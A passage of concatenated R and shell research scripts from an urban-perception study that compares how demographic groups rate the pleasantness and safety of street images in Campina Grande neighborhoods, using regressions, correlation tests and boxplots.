#for folder in "hom15_mul60" "hom40_mul60" "hom60_mul60" "hom60_mul40" "hom60_mul15" "jovem15_adulto60" "jovem40_adulto60" "jovem60_adulto60" "jovem60_adulto40" "jovem60_adulto15" "media15_baixa60" "media40_baixa60" "media60_baixa60" "media60_baixa40" "media60_baixa15"; do #"hom40_mul60" "hom95_mul95" "hom15_mul60" "hom60_mul15" "jovem15_adulto60" "jovem40_adulto60" "jovem60_adulto60" "jovem60_adulto40" "jovem60_adulto15" "media15_baixa60" "media40_baixa60" "media60_baixa60" "media60_baixa40" "media60_baixa15" ; do
#
# if [[ $folder =~ .*hom.* ]] ; then
# if [[ "$folder" = "hom15_mul60" -o "$folder" = "hom40_mul60" ]] ; then
# group1="Masculino"
# group2="Feminino"
# else
# group1="masculino"
# group2="feminino"
# fi
# elif [[ $folder =~ .*jovem.* ]] ; then
# group1="jovem"
# group2="adulto"
# elif [[ $folder =~ .*baixa.* ]] ; then
# group1="baixa"
# group2="media"
# fi
#
# for i in {0..99}; do
# #for runFile in `ls ${folder}/runmasculino_*.csv` ; do
# runFile1="${folder}/run${group1}_${i}.csv"
# runFile2="${folder}/run${group2}_${i}.csv"
#
# cat $runFile1 $runFile2 > runMerged_${i}.csv
# runFile="runMerged_${i}.csv"
#
# python ../classifier/createInputForClassification.py create $runFile ../tasksDef.csv ../usersInfo.dat ../classifier/images_description.dat > classifier_input_3classes.dat
# python ../classifier/createInputForClassification.py convert $runFile ../tasksDef.csv ../usersInfo.dat ../classifier/images_description.dat
# mv classifier_input_3classes.dat $folder/runMerged_${i}_3classes.dat
# mv classifier_input_wodraw.dat $folder/runMerged_${i}_wodraw.dat
# done
#
# rm -f runMerged_*.csv
#done
#Access agrad_random_user_nscaled@beta for beta values ou agrad_random_user_nscaled@optinfo$val for beta e std do intercept (primeiro valor) ou melhor --> summary(agrad_random_user_nscaled)$coef[, "Pr(>|z|)"], summary(agrad_random_user_nscaled)$coef[, "Estimate"]["(Intercept)"]
<file_sep>#!/bin/Rscript
#Agradavel
data = read.table("rgbQScoreAgrad.dat")
dados = data.frame(qscore=data$V2, red=data$V3, green=data$V4, blue=data$V5)
print(">>>> Regressao Agradavel: qscore = red + green + blue")
modelo = lm(qscore ~ red + green + blue, data=dados)
modelo
summary(modelo)
#Segurança
data = read.table("rgbQScoreSeg.dat")
dados = data.frame(qscore=data$V2, red=data$V3, green=data$V4, blue=data$V5)
print(">>>> Regressao Seguro: qscore = red + green + blue")
modelo = lm(qscore ~ red + green + blue, data=dados)
modelo
summary(modelo)
<file_sep>#Graficos - Boxplot e Scatterplots QScores
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
#Todos os usuarios
geral <- filter(dadosCopy, grupo == "Geral")
geral$bairro <- as.character(geral$bairro)
geral$bairro[geral$bairro == "catole"] <- "Catolé"
geral$bairro[geral$bairro == "liberdade"] <- "Liberdade"
geral$bairro[geral$bairro == "centro"] <- "Centro"
w = 8
h = 7
pdf("images/boxPleaSafeAll.pdf", width = w, height = h)
ggplot(geral, aes(y=V3, x = bairro)) +
geom_boxplot() +
geom_point(position = position_jitter(width = 0.15), size = 3, alpha = 0.6) + theme_bw()+ xlab("") +
ylab("QScore")+ylim(2, 8)+
theme(axis.text=element_text(size=16), axis.title=element_text(size=16), strip.text = element_text(size=16))+facet_grid(.~ V1, labeller = facet_labeller)
dev.off()
#Know neighborhoods
geral <- filter(dadosCopy, (bairro == "catole" & grupo == "CCatole") | (bairro == "centro" & grupo == "CCentro") | (bairro == "liberdade" & grupo == "CLiberdade"))
geral$bairro <- as.character(geral$bairro)
geral$bairro[geral$bairro == "catole"] <- "Catolé"
geral$bairro[geral$bairro == "liberdade"] <- "Liberdade"
geral$bairro[geral$bairro == "centro"] <- "Centro"
w = 8
h = 7
pdf("images/boxPleaSafeKnow.pdf", width = w, height = h)
ggplot(geral, aes(y=V3, x = bairro)) +
geom_boxplot() +
geom_point(position = position_jitter(width = 0.15), size = 3, alpha = 0.6) + theme_bw()+ xlab("") +
ylab("QScore")+ylim(2, 8)+
theme(axis.text=element_text(size=16), axis.title=element_text(size=16), strip.text = element_text(size=16))+facet_grid(.~ V1, labeller = facet_labeller)
dev.off()
#Do not Know neighborhoods
geral <- filter(dadosCopy, (bairro == "catole" & grupo == "NCCatole") | (bairro == "centro" & grupo == "NCCentro") | (bairro == "liberdade" & grupo == "NCLiberdade"))
geral$bairro <- as.character(geral$bairro)
geral$bairro[geral$bairro == "catole"] <- "Catolé"
geral$bairro[geral$bairro == "liberdade"] <- "Liberdade"
geral$bairro[geral$bairro == "centro"] <- "Centro"
w = 8
h = 7
pdf("images/boxPleaSafeNKnow.pdf", width = w, height = h)
ggplot(geral, aes(y=V3, x = bairro)) +
geom_boxplot() +
geom_point(position = position_jitter(width = 0.15), size = 3, alpha = 0.6) + theme_bw()+ xlab("") +
ylab("QScore")+ylim(2, 8)+
theme(axis.text=element_text(size=16), axis.title=element_text(size=16), strip.text = element_text(size=16))+facet_grid(.~ V1, labeller = facet_labeller)
dev.off()
#Scatterplot Pleas x Safe
geral <- select(filter(dadosCopy, grupo == "Geral"), grupo, V1, V2, V3, bairro)
geral$bairro <- as.character(geral$bairro)
geral$bairro[geral$bairro == "catole"] <- "Catolé"
geral$bairro[geral$bairro == "liberdade"] <- "Liberdade"
geral$bairro[geral$bairro == "centro"] <- "Centro"
novosDados <- reshape(geral, timevar="V1", idvar=c("V2", "grupo", "bairro"), direction="wide")
novosDados <- rename(novosDados, c("V3.agrad%C3%A1vel?"="Pleasant", "V3.seguro?"="Safe", "bairro" = "neighborhood"))
library(plyr)
w = 5
h = 4
pdf("images/pleasXsafeAll.pdf", width = w, height = h)
ggplot(novosDados, aes(y=Pleasant, x=Safe, colour=neighborhood))+geom_point(alpha = 0.7, size=1.7)+xlab("QScore Safety")+ylab("QScore Pleasantness")+geom_abline(intercept=0, colour="red")+theme(axis.text=element_text(size=20), axis.title=element_text(size=20), legend.text = element_text(size=20), legend.title = element_text(size=20))+theme_bw()
dev.off()
cor.test(novosDados$Safe, novosDados$Pleasant, method="kendall")
cor.test(novosDados$Safe, novosDados$Pleasant, method="pearson")
cor.test(novosDados$Safe, novosDados$Pleasant, method="spearman")
```
#Homens e Mulheres
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
#Separando homens e mulheres
grupo1 <- dadosSub[(dadosSub$grupo == 'Masculino' & dadosSub$V1=='agrad%C3%A1vel?' ),]
grupo2 <- dadosSub[(dadosSub$grupo == 'Feminino' & dadosSub$V1=='agrad%C3%A1vel?'),]
temp <- rbind(grupo1, grupo2)
novosgrupo1grupo2 <- reshape(temp, timevar="grupo", idvar=c("V2", "V1", "diag", "hor", "vert", "red", "green", "blue", "bairro"), direction="wide")
#Desvio padrao
sd(novosgrupo1grupo2$V3.Masculino)
sd(novosgrupo1grupo2$V3.Feminino)
sd(novosgrupo1grupo2$V3.Masculino - novosgrupo1grupo2$V3.Feminino)
cor.test(novosgrupo1grupo2$V3.Masculino, novosgrupo1grupo2$V3.Feminino, method = "spearman")
cor.test(novosgrupo1grupo2$V3.Masculino, novosgrupo1grupo2$V3.Feminino, method = "kendall")
cor.test(novosgrupo1grupo2$V3.Masculino, novosgrupo1grupo2$V3.Feminino, method = "pearson")
#Regressao
library(texreg)
regAgrad <- lm(V3.Masculino ~ V3.Feminino, data=novosgrupo1grupo2)
novosgrupo1grupo2$residuals <- regAgrad$residuals
novosgrupo1grupo2$residualsPos <- abs(regAgrad$residuals)
novosgrupo1grupo2 <- novosgrupo1grupo2[with(novosgrupo1grupo2, order(-residualsPos)), ]
sum(novosgrupo1grupo2$residuals)
sum(novosgrupo1grupo2$residuals**2)
plot(regAgrad$residuals, main = "Residual Plot Pleasantness", ylab = "Residuals")
#Modelo
#sink("reg-hom-mul-agrad.txt")
texreg(regAgrad)
summary(regAgrad)
#sink()
#Fotos, QScores e resíduos
write.table(novosgrupo1grupo2[, c("V2", "V3.Masculino", "V3.Feminino", "residuals", "residualsPos")], file="reg-hom-mul-data-agrad.dat", sep = "\t")
#Fotos, QScores e elementos urbanos
colnames(novosgrupo1grupo2)[colnames(novosgrupo1grupo2) == "V2"] <- "image_url"
allData <- Reduce(function(x, y) merge(x, y, all=TRUE), list(novosgrupo1grupo2, groupedData1, groupedData2, groupedData3, groupedData3, groupedData4, groupedData5, groupedData6, groupedData7,groupedData8, groupedData9, groupedData10, groupedData11, groupedData12, groupedData13))
allData <- allData[with(allData, order(-residualsPos)), ]
write.table(allData[, c("image_url", "V3.Masculino", "V3.Feminino", "residuals", "residualsPos", "street_wid","sidewalk_wid_left","sidewalk_wid_right","public_art","mov_cars","park_cars_left","park_cars_right","mov_ciclyst","debris_left","debris_right","pavement_left","pavement_right","landscape_left","landscape_right","courtyards","major_landsc","build_ident","build_nrectan","prop_street_wall_left","prop_street_wall_right","prop_wind_left","prop_wind_right","long_sight","prop_sky_ahead","prop_sky_across_left","prop_sky_across_right","graffiti","trees_left","trees_right","small_planters_left","small_planters_right","build_height_left","build_height_right","build_diff_ages","diff_build","prop_hist_build","outdoor_table_left","outdoor_table_right","street_furnit_left","street_furnit_right","basic_col","lights_left","lights_right","accent_col","people_left","people_right","prop_active_use_left","prop_active_use_right")], file="elem-hom-mul-data-agrad.dat", sep = "\t")
#Separando homens e mulheres
grupo1 <- dadosSub[(dadosSub$grupo == 'Masculino' & dadosSub$V1=='seguro?' ),]
grupo2 <- dadosSub[(dadosSub$grupo == 'Feminino' & dadosSub$V1=='seguro?'),]
temp <- rbind(grupo1, grupo2)
novosgrupo1grupo2 <- reshape(temp, timevar="grupo", idvar=c("V2", "V1", "diag", "hor", "vert", "red", "green", "blue", "bairro"), direction="wide")
#Desvio padrao
sd(novosgrupo1grupo2$V3.Masculino)
sd(novosgrupo1grupo2$V3.Feminino)
sd(novosgrupo1grupo2$V3.Masculino - novosgrupo1grupo2$V3.Feminino)
cor.test(novosgrupo1grupo2$V3.Masculino, novosgrupo1grupo2$V3.Feminino, method = "spearman")
cor.test(novosgrupo1grupo2$V3.Masculino, novosgrupo1grupo2$V3.Feminino, method = "kendall")
cor.test(novosgrupo1grupo2$V3.Masculino, novosgrupo1grupo2$V3.Feminino, method = "pearson")
#Regressao
library(texreg)
regAgrad <- lm(V3.Masculino ~ V3.Feminino, data=novosgrupo1grupo2)
novosgrupo1grupo2$residuals <- regAgrad$residuals
novosgrupo1grupo2$residualsPos <- abs(regAgrad$residuals)
novosgrupo1grupo2 <- novosgrupo1grupo2[with(novosgrupo1grupo2, order(-residualsPos)), ]
sum(novosgrupo1grupo2$residuals)
sum(novosgrupo1grupo2$residuals**2)
plot(regAgrad$residuals, main = "Residual Plot Safeteness", ylab = "Residuals")
#Modelo
#sink("reg-hom-mul-seg.txt")
texreg(regAgrad)
summary(regAgrad)
#sink()
#Fotos, QScores e resíduos
write.table(novosgrupo1grupo2[, c("V2", "V3.Masculino", "V3.Feminino", "residuals", "residualsPos")], file="reg-hom-mul-data-seg.dat", sep = "\t")
#Fotos, QScores e elementos urbanos
colnames(novosgrupo1grupo2)[colnames(novosgrupo1grupo2) == "V2"] <- "image_url"
allData <- Reduce(function(x, y) merge(x, y, all=TRUE), list(novosgrupo1grupo2, groupedData1, groupedData2, groupedData3, groupedData3, groupedData4, groupedData5, groupedData6, groupedData7,groupedData8, groupedData9, groupedData10, groupedData11, groupedData12, groupedData13))
allData <- allData[with(allData, order(-residualsPos)), ]
write.table(allData[, c("image_url", "V3.Masculino", "V3.Feminino", "residuals", "residualsPos", "street_wid","sidewalk_wid_left","sidewalk_wid_right","public_art","mov_cars","park_cars_left","park_cars_right","mov_ciclyst","debris_left","debris_right","pavement_left","pavement_right","landscape_left","landscape_right","courtyards","major_landsc","build_ident","build_nrectan","prop_street_wall_left","prop_street_wall_right","prop_wind_left","prop_wind_right","long_sight","prop_sky_ahead","prop_sky_across_left","prop_sky_across_right","graffiti","trees_left","trees_right","small_planters_left","small_planters_right","build_height_left","build_height_right","build_diff_ages","diff_build","prop_hist_build","outdoor_table_left","outdoor_table_right","street_furnit_left","street_furnit_right","basic_col","lights_left","lights_right","accent_col","people_left","people_right","prop_active_use_left","prop_active_use_right")], file="elem-hom-mul-data-seg.dat", sep = "\t")
```
#Agradavel x Seguro
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
grupo1 <- dadosSub[(dadosSub$grupo == 'Geral' & dadosSub$V1=='agradavel?' ),]
grupo2 <- dadosSub[(dadosSub$grupo == 'Geral' & dadosSub$V1=='seguro?'),]
temp <- rbind(grupo1, grupo2)
novosgrupo1grupo2 <- reshape(temp, timevar="V1", idvar=c("V2", "grupo", "diag", "hor", "vert", "red", "green", "blue", "bairro"), direction="wide")
colnames(novosgrupo1grupo2)[colnames(novosgrupo1grupo2) == "V3.agradavel?"] <- "V3.agradavel"
colnames(novosgrupo1grupo2)[colnames(novosgrupo1grupo2) == "V3.seguro?"] <- "V3.seguro"
#Regressao
library(texreg)
regAgrad <- lm(V3.agradavel ~ V3.seguro, data=novosgrupo1grupo2)
novosgrupo1grupo2$residuals <- regAgrad$residuals
novosgrupo1grupo2$residualsPos <- abs(regAgrad$residuals)
novosgrupo1grupo2 <- novosgrupo1grupo2[with(novosgrupo1grupo2, order(-residualsPos)), ]
plot(regAgrad$residuals, main = "Residual Plot Pleasantness", ylab = "Residuals")
#Modelo
#sink("reg-jov-adu-agrad.txt")
texreg(regAgrad)
summary(regAgrad)
#sink()
#Fotos, QScores e resíduos
write.table(novosgrupo1grupo2[, c("V2", "V3.agradavel", "V3.seguro", "residuals", "residualsPos")], file="agrad-seg.dat", sep = "\t")
```
#Jovens e Adultos
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
#Separando jovens e adultos
grupo1 <- dadosSub[(dadosSub$grupo == 'Jovem' & dadosSub$V1=='agrad%C3%A1vel?' ),]
grupo2 <- dadosSub[(dadosSub$grupo == 'Adulto' & dadosSub$V1=='agrad%C3%A1vel?'),]
temp <- rbind(grupo1, grupo2)
novosgrupo1grupo2 <- reshape(temp, timevar="grupo", idvar=c("V2", "V1", "diag", "hor", "vert", "red", "green", "blue", "bairro"), direction="wide")
#Desvio padrao?
sd(novosgrupo1grupo2$V3.Jovem)
sd(novosgrupo1grupo2$V3.Adulto)
sd(novosgrupo1grupo2$V3.Jovem - novosgrupo1grupo2$V3.Adulto)
cor.test(novosgrupo1grupo2$V3.Jovem, novosgrupo1grupo2$V3.Adulto, method = "spearman")
cor.test(novosgrupo1grupo2$V3.Jovem, novosgrupo1grupo2$V3.Adulto, method = "kendall")
cor.test(novosgrupo1grupo2$V3.Jovem, novosgrupo1grupo2$V3.Adulto, method = "pearson")
#Regressao
library(texreg)
regAgrad <- lm(V3.Jovem ~ V3.Adulto, data=novosgrupo1grupo2)
novosgrupo1grupo2$residuals <- regAgrad$residuals
novosgrupo1grupo2$residualsPos <- abs(regAgrad$residuals)
mean(novosgrupo1grupo2$residuals)
sum(novosgrupo1grupo2$residuals)
sum(novosgrupo1grupo2$residuals**2)
sum( (novosgrupo1grupo2$V3.Adulto - mean(novosgrupo1grupo2$V3.Adulto))**2 )
novosgrupo1grupo2 <- novosgrupo1grupo2[with(novosgrupo1grupo2, order(-residualsPos)), ]
plot(regAgrad$residuals, main = "Residual Plot Pleasantness", ylab = "Residuals")
#Modelo
#sink("reg-jov-adu-agrad.txt")
texreg(regAgrad)
summary(regAgrad)
#sink()
#Fotos, QScores e resíduos
write.table(novosgrupo1grupo2[, c("V2", "V3.Jovem", "V3.Adulto", "residuals", "residualsPos")], file="reg-jov-adu-data-agrad.dat", sep = "\t")
#Fotos, QScores e elementos urbanos
colnames(novosgrupo1grupo2)[colnames(novosgrupo1grupo2) == "V2"] <- "image_url"
allData <- Reduce(function(x, y) merge(x, y, all=TRUE), list(novosgrupo1grupo2, groupedData1, groupedData2, groupedData3, groupedData3, groupedData4, groupedData5, groupedData6, groupedData7,groupedData8, groupedData9, groupedData10, groupedData11, groupedData12, groupedData13))
allData <- allData[with(allData, order(-residualsPos)), ]
write.table(allData[, c("image_url", "V3.Jovem", "V3.Adulto", "residuals", "residualsPos", "street_wid","sidewalk_wid_left","sidewalk_wid_right","public_art","mov_cars","park_cars_left","park_cars_right","mov_ciclyst","debris_left","debris_right","pavement_left","pavement_right","landscape_left","landscape_right","courtyards","major_landsc","build_ident","build_nrectan","prop_street_wall_left","prop_street_wall_right","prop_wind_left","prop_wind_right","long_sight","prop_sky_ahead","prop_sky_across_left","prop_sky_across_right","graffiti","trees_left","trees_right","small_planters_left","small_planters_right","build_height_left","build_height_right","build_diff_ages","diff_build","prop_hist_build","outdoor_table_left","outdoor_table_right","street_furnit_left","street_furnit_right","basic_col","lights_left","lights_right","accent_col","people_left","people_right","prop_active_use_left","prop_active_use_right")], file="elem-jov-adu-data-agrad.dat", sep = "\t")
#Separando jovens e adultos
grupo1 <- dadosSub[(dadosSub$grupo == 'Jovem' & dadosSub$V1=='seguro?' ),]
grupo2 <- dadosSub[(dadosSub$grupo == 'Adulto' & dadosSub$V1=='seguro?'),]
temp <- rbind(grupo1, grupo2)
novosgrupo1grupo2 <- reshape(temp, timevar="grupo", idvar=c("V2", "V1", "diag", "hor", "vert", "red", "green", "blue", "bairro"), direction="wide")
#Desvio padrao
sd(novosgrupo1grupo2$V3.Jovem)
sd(novosgrupo1grupo2$V3.Adulto)
sd(novosgrupo1grupo2$V3.Jovem - novosgrupo1grupo2$V3.Adulto)
cor.test(novosgrupo1grupo2$V3.Jovem, novosgrupo1grupo2$V3.Adulto, method = "spearman")
cor.test(novosgrupo1grupo2$V3.Jovem, novosgrupo1grupo2$V3.Adulto, method = "kendall")
cor.test(novosgrupo1grupo2$V3.Jovem, novosgrupo1grupo2$V3.Adulto, method = "pearson")
#Regressao
library(texreg)
regAgrad <- lm(V3.Jovem ~ V3.Adulto, data=novosgrupo1grupo2)
novosgrupo1grupo2$residuals <- regAgrad$residuals
novosgrupo1grupo2$residualsPos <- abs(regAgrad$residuals)
novosgrupo1grupo2 <- novosgrupo1grupo2[with(novosgrupo1grupo2, order(-residualsPos)), ]
sum(novosgrupo1grupo2$residuals)
sum(novosgrupo1grupo2$residuals**2)
plot(regAgrad$residuals, main = "Residual Plot Safeteness", ylab = "Residuals")
#Modelo
#sink("reg-jov-adu-seg.txt")
texreg(regAgrad)
summary(regAgrad)
#sink()
#Fotos, QScores e resíduos
write.table(novosgrupo1grupo2[, c("V2", "V3.Jovem", "V3.Adulto", "residuals", "residualsPos")], file="reg-jov-adu-data-seg.dat", sep = "\t")
#Fotos, QScores e elementos urbanos
colnames(novosgrupo1grupo2)[colnames(novosgrupo1grupo2) == "V2"] <- "image_url"
allData <- Reduce(function(x, y) merge(x, y, all=TRUE), list(novosgrupo1grupo2, groupedData1, groupedData2, groupedData3, groupedData3, groupedData4, groupedData5, groupedData6, groupedData7,groupedData8, groupedData9, groupedData10, groupedData11, groupedData12, groupedData13))
allData <- allData[with(allData, order(-residualsPos)), ]
write.table(allData[, c("image_url", "V3.Jovem", "V3.Adulto", "residuals", "residualsPos", "street_wid","sidewalk_wid_left","sidewalk_wid_right","public_art","mov_cars","park_cars_left","park_cars_right","mov_ciclyst","debris_left","debris_right","pavement_left","pavement_right","landscape_left","landscape_right","courtyards","major_landsc","build_ident","build_nrectan","prop_street_wall_left","prop_street_wall_right","prop_wind_left","prop_wind_right","long_sight","prop_sky_ahead","prop_sky_across_left","prop_sky_across_right","graffiti","trees_left","trees_right","small_planters_left","small_planters_right","build_height_left","build_height_right","build_diff_ages","diff_build","prop_hist_build","outdoor_table_left","outdoor_table_right","street_furnit_left","street_furnit_right","basic_col","lights_left","lights_right","accent_col","people_left","people_right","prop_active_use_left","prop_active_use_right")], file="elem-jov-adu-data-seg.dat", sep = "\t")
```
#Casados e Solteiros
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
#Separando casados e solteiros
grupo1 <- dadosSub[(dadosSub$grupo == 'Casado' & dadosSub$V1=='agrad%C3%A1vel?' ),]
grupo2 <- dadosSub[(dadosSub$grupo == 'Solteiro' & dadosSub$V1=='agrad%C3%A1vel?'),]
temp <- rbind(grupo1, grupo2)
novosgrupo1grupo2 <- reshape(temp, timevar="grupo", idvar=c("V2", "V1", "diag", "hor", "vert", "red", "green", "blue", "bairro"), direction="wide")
#Regressao
library(texreg)
regAgrad <- lm(V3.Casado ~ V3.Solteiro, data=novosgrupo1grupo2)
novosgrupo1grupo2$residuals <- regAgrad$residuals
novosgrupo1grupo2$residualsPos <- abs(regAgrad$residuals)
novosgrupo1grupo2 <- novosgrupo1grupo2[with(novosgrupo1grupo2, order(-residualsPos)), ]
plot(regAgrad$residuals, main = "Residual Plot Pleasantness", ylab = "Residuals")
#Modelo
#sink("reg-cas-sol-agrad.txt")
texreg(regAgrad)
summary(regAgrad)
#sink()
#Desvio padrao
sd(novosgrupo1grupo2$V3.Casado)
sd(novosgrupo1grupo2$V3.Solteiro)
sd(novosgrupo1grupo2$V3.Casado - novosgrupo1grupo2$V3.Solteiro)
cor.test(novosgrupo1grupo2$V3.Casado, novosgrupo1grupo2$V3.Solteiro, method = "spearman")
cor.test(novosgrupo1grupo2$V3.Casado, novosgrupo1grupo2$V3.Solteiro, method = "kendall")
cor.test(novosgrupo1grupo2$V3.Casado, novosgrupo1grupo2$V3.Solteiro, method = "pearson")
sum(novosgrupo1grupo2$residuals)
sum(novosgrupo1grupo2$residuals**2)
#Fotos, QScores e resíduos
write.table(novosgrupo1grupo2[, c("V2", "V3.Casado", "V3.Solteiro", "residuals", "residualsPos")], file="reg-cas-sol-data-agrad.dat", sep = "\t")
#Fotos, QScores e elementos urbanos
colnames(novosgrupo1grupo2)[colnames(novosgrupo1grupo2) == "V2"] <- "image_url"
allData <- Reduce(function(x, y) merge(x, y, all=TRUE), list(novosgrupo1grupo2, groupedData1, groupedData2, groupedData3, groupedData3, groupedData4, groupedData5, groupedData6, groupedData7,groupedData8, groupedData9, groupedData10, groupedData11, groupedData12, groupedData13))
allData <- allData[with(allData, order(-residualsPos)), ]
write.table(allData[, c("image_url", "V3.Casado", "V3.Solteiro", "residuals", "residualsPos", "street_wid","sidewalk_wid_left","sidewalk_wid_right","public_art","mov_cars","park_cars_left","park_cars_right","mov_ciclyst","debris_left","debris_right","pavement_left","pavement_right","landscape_left","landscape_right","courtyards","major_landsc","build_ident","build_nrectan","prop_street_wall_left","prop_street_wall_right","prop_wind_left","prop_wind_right","long_sight","prop_sky_ahead","prop_sky_across_left","prop_sky_across_right","graffiti","trees_left","trees_right","small_planters_left","small_planters_right","build_height_left","build_height_right","build_diff_ages","diff_build","prop_hist_build","outdoor_table_left","outdoor_table_right","street_furnit_left","street_furnit_right","basic_col","lights_left","lights_right","accent_col","people_left","people_right","prop_active_use_left","prop_active_use_right")], file="elem-cas-sol-data-agrad.dat", sep = "\t")
#Separando casados e solteiros
grupo1 <- dadosSub[(dadosSub$grupo == 'Casado' & dadosSub$V1=='seguro?' ),]
grupo2 <- dadosSub[(dadosSub$grupo == 'Solteiro' & dadosSub$V1=='seguro?'),]
temp <- rbind(grupo1, grupo2)
novosgrupo1grupo2 <- reshape(temp, timevar="grupo", idvar=c("V2", "V1", "diag", "hor", "vert", "red", "green", "blue", "bairro"), direction="wide")
#Desvio padrao
sd(novosgrupo1grupo2$V3.Casado)
sd(novosgrupo1grupo2$V3.Solteiro)
sd(novosgrupo1grupo2$V3.Casado - novosgrupo1grupo2$V3.Solteiro)
cor.test(novosgrupo1grupo2$V3.Casado, novosgrupo1grupo2$V3.Solteiro, method = "spearman")
cor.test(novosgrupo1grupo2$V3.Casado, novosgrupo1grupo2$V3.Solteiro, method = "kendall")
cor.test(novosgrupo1grupo2$V3.Casado, novosgrupo1grupo2$V3.Solteiro, method = "pearson")
#Regressao
library(texreg)
regAgrad <- lm(V3.Casado ~ V3.Solteiro, data=novosgrupo1grupo2)
novosgrupo1grupo2$residuals <- regAgrad$residuals
novosgrupo1grupo2$residualsPos <- abs(regAgrad$residuals)
novosgrupo1grupo2 <- novosgrupo1grupo2[with(novosgrupo1grupo2, order(-residualsPos)), ]
plot(regAgrad$residuals, main = "Residual Plot Safeteness", ylab = "Residuals")
sum(novosgrupo1grupo2$residuals)
sum(novosgrupo1grupo2$residuals**2)
#Modelo
#sink("reg-cas-sol-seg.txt")
texreg(regAgrad)
summary(regAgrad)
#sink()
#Fotos, QScores e resíduos
write.table(novosgrupo1grupo2[, c("V2", "V3.Casado", "V3.Solteiro", "residuals", "residualsPos")], file="reg-cas-sol-data-seg.dat", sep = "\t")
#Fotos, QScores e elementos urbanos
colnames(novosgrupo1grupo2)[colnames(novosgrupo1grupo2) == "V2"] <- "image_url"
allData <- Reduce(function(x, y) merge(x, y, all=TRUE), list(novosgrupo1grupo2, groupedData1, groupedData2, groupedData3, groupedData3, groupedData4, groupedData5, groupedData6, groupedData7,groupedData8, groupedData9, groupedData10, groupedData11, groupedData12, groupedData13))
allData <- allData[with(allData, order(-residualsPos)), ]
write.table(allData[, c("image_url", "V3.Casado", "V3.Solteiro", "residuals", "residualsPos", "street_wid","sidewalk_wid_left","sidewalk_wid_right","public_art","mov_cars","park_cars_left","park_cars_right","mov_ciclyst","debris_left","debris_right","pavement_left","pavement_right","landscape_left","landscape_right","courtyards","major_landsc","build_ident","build_nrectan","prop_street_wall_left","prop_street_wall_right","prop_wind_left","prop_wind_right","long_sight","prop_sky_ahead","prop_sky_across_left","prop_sky_across_right","graffiti","trees_left","trees_right","small_planters_left","small_planters_right","build_height_left","build_height_right","build_diff_ages","diff_build","prop_hist_build","outdoor_table_left","outdoor_table_right","street_furnit_left","street_furnit_right","basic_col","lights_left","lights_right","accent_col","people_left","people_right","prop_active_use_left","prop_active_use_right")], file="elem-cas-sol-data-seg.dat", sep = "\t")
```
#Baixa renda e Media renda
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
#Separando casados e solteiros
grupo1 <- dadosSub[(dadosSub$grupo == 'Baixa' & dadosSub$V1=='agrad%C3%A1vel?' ),]
grupo2 <- dadosSub[(dadosSub$grupo == 'Media' & dadosSub$V1=='agrad%C3%A1vel?'),]
temp <- rbind(grupo1, grupo2)
novosgrupo1grupo2 <- reshape(temp, timevar="grupo", idvar=c("V2", "V1", "diag", "hor", "vert", "red", "green", "blue", "bairro"), direction="wide")
#Desvio padrao
sd(novosgrupo1grupo2$V3.Baixa)
sd(novosgrupo1grupo2$V3.Media)
sd(novosgrupo1grupo2$V3.Baixa - novosgrupo1grupo2$V3.Media)
cor.test(novosgrupo1grupo2$V3.Baixa, novosgrupo1grupo2$V3.Media, method = "spearman")
cor.test(novosgrupo1grupo2$V3.Baixa, novosgrupo1grupo2$V3.Media, method = "kendall")
cor.test(novosgrupo1grupo2$V3.Baixa, novosgrupo1grupo2$V3.Media, method = "pearson")
#Regressao
library(texreg)
regAgrad <- lm(V3.Baixa ~ V3.Media, data=novosgrupo1grupo2)
novosgrupo1grupo2$residuals <- regAgrad$residuals
novosgrupo1grupo2$residualsPos <- abs(regAgrad$residuals)
novosgrupo1grupo2 <- novosgrupo1grupo2[with(novosgrupo1grupo2, order(-residualsPos)), ]
sum(novosgrupo1grupo2$residuals)
sum(novosgrupo1grupo2$residuals**2)
plot(regAgrad$residuals, main = "Residual Plot Pleasantness", ylab = "Residuals")
#Modelo
#sink("reg-bai-med-agrad.txt")
texreg(regAgrad)
summary(regAgrad)
#sink()
#Fotos, QScores e resíduos
write.table(novosgrupo1grupo2[, c("V2", "V3.Baixa", "V3.Media", "residuals", "residualsPos")], file="reg-bai-med-data-agrad.dat", sep = "\t")
#Fotos, QScores e resíduos
write.table(novosgrupo1grupo2[, c("V2", "V3.Baixa", "V3.Media", "residuals", "residualsPos")], file="reg-cas-sol-data-seg.dat", sep = "\t")
#Fotos, QScores e elementos urbanos
colnames(novosgrupo1grupo2)[colnames(novosgrupo1grupo2) == "V2"] <- "image_url"
allData <- Reduce(function(x, y) merge(x, y, all=TRUE), list(novosgrupo1grupo2, groupedData1, groupedData2, groupedData3, groupedData3, groupedData4, groupedData5, groupedData6, groupedData7,groupedData8, groupedData9, groupedData10, groupedData11, groupedData12, groupedData13))
allData <- allData[with(allData, order(-residualsPos)), ]
write.table(allData[, c("image_url", "V3.Baixa", "V3.Media", "residuals", "residualsPos", "street_wid","sidewalk_wid_left","sidewalk_wid_right","public_art","mov_cars","park_cars_left","park_cars_right","mov_ciclyst","debris_left","debris_right","pavement_left","pavement_right","landscape_left","landscape_right","courtyards","major_landsc","build_ident","build_nrectan","prop_street_wall_left","prop_street_wall_right","prop_wind_left","prop_wind_right","long_sight","prop_sky_ahead","prop_sky_across_left","prop_sky_across_right","graffiti","trees_left","trees_right","small_planters_left","small_planters_right","build_height_left","build_height_right","build_diff_ages","diff_build","prop_hist_build","outdoor_table_left","outdoor_table_right","street_furnit_left","street_furnit_right","basic_col","lights_left","lights_right","accent_col","people_left","people_right","prop_active_use_left","prop_active_use_right")], file="elem-bai-med-data-agrad.dat", sep = "\t")
#Separando casados e solteiros
grupo1 <- dadosSub[(dadosSub$grupo == 'Baixa' & dadosSub$V1=='seguro?' ),]
grupo2 <- dadosSub[(dadosSub$grupo == 'Media' & dadosSub$V1=='seguro?'),]
temp <- rbind(grupo1, grupo2)
novosgrupo1grupo2 <- reshape(temp, timevar="grupo", idvar=c("V2", "V1", "diag", "hor", "vert", "red", "green", "blue", "bairro"), direction="wide")
#Desvio padrao
sd(novosgrupo1grupo2$V3.Baixa)
sd(novosgrupo1grupo2$V3.Media)
sd(novosgrupo1grupo2$V3.Baixa - novosgrupo1grupo2$V3.Media)
